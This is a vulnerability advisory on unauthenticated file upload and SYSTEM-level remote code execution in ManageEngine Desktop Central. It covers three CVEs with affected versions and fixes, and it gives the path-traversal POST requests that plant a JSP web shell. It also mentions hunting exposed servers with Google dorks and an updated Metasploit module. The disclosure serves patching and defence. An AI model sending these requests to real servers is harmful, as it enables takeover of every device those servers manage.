ManageEngine Desktop Central – Arbitrary File Upload / Remote Code Execution
Arbitrary file upload / remote code execution in ManageEngine Desktop Central / Desktop Central MSP Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ================================================================================= Background on the affected product: "Desktop Central is an integrated desktop & mobile device management software that helps in managing the servers, laptops, desktops, smartphones and tablets from a central point. It automates your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more." There are several vulnerable servers are out there if you know the Google dorks. Quoting the author of the Internet Census 2012: "As a rule of thumb, if you believe that "nobody would connect that to the Internet, really nobody", there are at least 1000 people who did." These vulnerabilities can be abused to achieve remote code execution as SYSTEM in Windows. I've updated the desktopcentral_file_upload Metasploit module to use the new statusUpdate technique. Needless to say, owning a Desktop Central box will give you control of all the computers and smartphones it manages. Technical details: #1 Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated) Constraints: none; no authentication or any other information needed a) CVE-2014-5005 Affected versions: all versions from v7 to v9 build 90054 Fix: Upgrade to DC v9 build 90055 POST /statusUpdate?actionToCall=LFU&customerId=1337&fileName=../../../../../../shell.jsp&configDataID=1 <... your favourite jsp shell here ...> b) CVE-2014-5006 Affected versions: all versions from v8 to v9 build 90054 Fix: Upgrade to DC v9 build 90055 POST /mdm/mdmLogUploader?filename=..\\..\\..\webapps\\DesktopCentral\\shell.jsp <... your favourite jsp shell here ...> #2 CVE-2014-5007 Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated) Constraints: no authentication needed; need to know valid computerName, domainName and customerId Affected versions: all versions from v7 to v9 build 90054 Fix: Upgrade to DC v9 build 90055 Notes: This was previously discovered as CVE-2013-7390 / OSVDB-10008 by Thomas Hibbert, and was "fixed" in 2013-11-09. The fix is incomplete and it is still possible to upload a shell with a valid computerName, domainName and customerId.
